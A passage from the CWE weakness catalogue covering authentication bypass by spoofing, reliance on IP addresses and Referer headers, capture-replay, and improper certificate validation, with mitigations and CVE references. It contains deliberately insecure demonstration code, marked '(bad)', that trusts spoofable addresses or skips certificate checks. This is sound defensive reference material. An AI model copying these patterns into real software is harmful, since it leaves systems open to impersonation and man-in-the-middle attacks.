MemberOf	C	1134	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)	1133	1983

Notes

Relationship

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

Theoretical

Alternate names are useful in data driven manipulation attacks, not just for authentication.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by alternate name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS01-J	CWE More Specific	Normalize strings before validating them
SEI CERT Oracle Coding Standard for Java	IDS01-J	CWE More Specific	Normalize strings before validating them

CWE-290: Authentication Bypass by Spoofing

Weakness ID : 290 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ParentOf	V	291	Reliance on IP Address for Authentication	643
ParentOf	V	293	Using Referer Field for Authentication	645
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	769
PeerOf	B	602	Client-Side Enforcement of Server-Side Security	1200

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.*	

Demonstrative Examples

Example 1:

The following code authenticates users.

Example Language: Java *(bad)*

```
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals(APPROVED_IP)) {
    authenticated = true;
}
```

The authentication mechanism implemented relies on an IP address for source validation. If an attacker is able to spoof the IP, they may be able to bypass the authentication mechanism.

Example 2:

Both of these examples check if a request is from a trusted address before responding to the request.

Example Language: C *(bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

Example Language: Java *(bad)*

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client

Example 3:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C *(bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Example Language: Java *(bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C# *(bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2009-1048	VOIP product allows authentication bypass using 127.0.0.1 in the Host header. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1048*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Notes

Relationship

This can be resultant from insufficient verification.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by spoofing

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
22	Exploiting Trust in Client
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
94	Man in the Middle Attack
459	Creating a Rogue Certification Authority Certificate
461	Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
473	Signature Spoof
476	Signature Spoofing by Misrepresentation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-291: Reliance on IP Address for Authentication

Weakness ID : 291 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses an IP address for authentication.

Extended Description

IP addresses can be easily spoofed. Attackers can forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	999
ChildOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
ChildOf	B	290	Authentication Bypass by Spoofing	640

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control Non-Repudiation	Hide Activities Gain Privileges or Assume Identity *Malicious users can fake authentication information, impersonating any IP address.*	

Potential Mitigations

Phase: Architecture and Design

Use other means of identity verification that cannot be simply spoofed. Possibilities include a username/password or certificate.

Demonstrative Examples

Example 1:

Both of these examples check if a request is from a trusted address before responding to the request.

Example Language: C *(bad)*

```
sd = socket(AF_INET, SOCK_DGRAM, 0);
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
    memset(msg, 0x0, MAX_MSG);
    clilen = sizeof(cli);
    if (inet_ntoa(cli.sin_addr)==getTrustedAddress()) {
        n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
    }
}
```

Example Language: Java *(bad)*

```
while(true) {
    DatagramPacket rp=new DatagramPacket(rData,rData.length);
    outSock.receive(rp);
    String in = new String(p.getData(),0, rp.getLength());
    InetAddress clientIPAddress = rp.getAddress();
    int port = rp.getPort();
    if (isTrustedAddress(clientIPAddress) & secretKey.equals(in)) {
        out = secret.getBytes();
        DatagramPacket sp =new DatagramPacket(out,out.length, IPAddress, port); outSock.send(sp);
    }
}
```

The code only verifies the address as stored in the request packet. An attacker can spoof this address, thus impersonating a trusted client.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Trusting self-reported IP address

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
4	Using Alternative IP Address Encodings

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-293: Using Referer Field for Authentication

Weakness ID : 293 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	290	Authentication Bypass by Spoofing	640

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Background Details

The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.

Alternate Terms

referrer : While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.	

Potential Mitigations

Phase: Architecture and Design

In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.

Demonstrative Examples

Example 1:

The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.

Example Language: C++ *(bad)*

```
String trustedReferer = "http://www.example.com/"
while(true){
    n = read(newsock, buffer, BUFSIZE);
    requestPacket = processPacket(buffer, n);
    if (requestPacket.referer == trustedReferer){
        openNewSecureSession(requestPacket);
    }
}
```

Example Language: Java *(bad)*

```
boolean processConnectionRequest(HttpServletRequest request){
    String referer = request.getHeader("referer")
    String trustedReferer = "http://www.example.com/"
    if(referer.equals(trustedReferer)){
        openPrivilegedConnection(request);
        return true;
    }
    else{
        sendPrivilegeError(request);
        return false;
    }
}
```

These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using referrer field for authentication
Software Fault Patterns	SFP29		Faulty endpoint authentication

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-294: Authentication Bypass by Capture-replay

Weakness ID : 294 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A capture-replay flaw exists when the design of the software makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

Extended Description

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	630

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.*	

Potential Mitigations

Phase: Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Phase: Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

Observed Examples

Reference	Description
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3435*
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4961*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	956	SFP Secondary Cluster: Channel Attack	888	1937

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Authentication bypass by replay
CLASP			Capture-replay

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
60	Reusing Session IDs (aka Session Replay)
94	Man in the Middle Attack
102	Session Sidejacking

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

CWE-295: Improper Certificate Validation

Weakness ID : 295 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not validate, or incorrectly validates, a certificate.

Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The software might connect to a

malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	653
ParentOf	V	297	Improper Validation of Certificate with Host Mismatch	656
ParentOf	V	298	Improper Validation of Certificate Expiration	659
ParentOf	B	299	Improper Check for Certificate Revocation	661
ParentOf	V	599	Missing Validation of OpenSSL Certificate	1192
PeerOf	B	322	Key Exchange without Entity Authentication	711
PeerOf	B	322	Key Exchange without Entity Authentication	711

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Background Details

A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

Common Consequences

Scope	Impact	Likelihood
Integrity Authentication	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

Demonstrative Examples

Example 1:

This code checks the certificate of a connected peer.

Example Language: C *(bad)*

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using a MITM attack to modify the traffic from server to client.

Example 2:

The following OpenSSL code obtains a certificate and verifies it.

Example Language: C *(bad)*

```
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {
    // do secret things
}
```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Example 3:

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer(certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
```

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

Example 4:

The following OpenSSL code ensures that there is a certificate before continuing execution.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got a certificate, do secret things
```

Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.

Example 5:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C *(bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got certificate, host can be trusted
    //foo=SSL_get_verify_result(ssl);
    //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing MITM attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266*
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4989*
CVE-2012-5821	Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5821*
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3046*
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0199*
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5810*
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3446*
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2408*
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2993*
CVE-2012-5822	Application uses third-party library that does not validate hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5822*
CVE-2012-5819	Cloud storage management application does not validate hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5819*
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5817*
CVE-2010-1378	chain: incorrect calculation allows attackers to bypass certificate checks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1378*
CVE-2005-3170	LDAP client accepts certificates even if they are not from a trusted CA. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3170*
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0265*
CVE-2003-1229	chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1229*
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0862*
CVE-2009-1358	chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1358*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	1976
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
459	Creating a Rogue Certification Authority Certificate

References

[REF-243]Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012 October 6. < http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf >.

[REF-244]M. Bishop. "Computer Security: Art and Science". 2003. Addison-Wesley.

CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID : 296 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:

- Any certificate in the chain is self-signed, unless it the root.

- Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.
- An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
- The root certificate has been compromised or authorized to the wrong party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1153
ChildOf	B	295	Improper Certificate Validation	648
PeerOf	V	370	Missing Check for Certificate Revocation after Initial Check	821

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	1969

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities *Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.*	
Integrity Confidentiality Availability Access Control	Gain Privileges or Assume Identity Execute Unauthorized Code or Commands *Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.*	

Potential Mitigations

Phase: Architecture and Design

Ensure that proper certificate checking is included in the system design.

Phase: Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the full chain of trust.

Demonstrative Examples

Example 1:

This code checks the certificate of a connected peer.

Example Language: C *(bad)*

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using a MITM attack to modify the traffic from server to client.

Observed Examples

Reference	Description
CVE-2016-2402	Server allows bypass of certificate pinning by sending a chain of trust that includes a trusted CA that is not pinned. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2402*
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4989*
CVE-2012-5821	Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5821*
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3046*
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0265*
CVE-2009-0124	chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0124*
CVE-2002-0970	File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0970*
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0862*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	1935

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to follow chain of trust in certificate validation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-245]Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012 October 5. < http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf >.

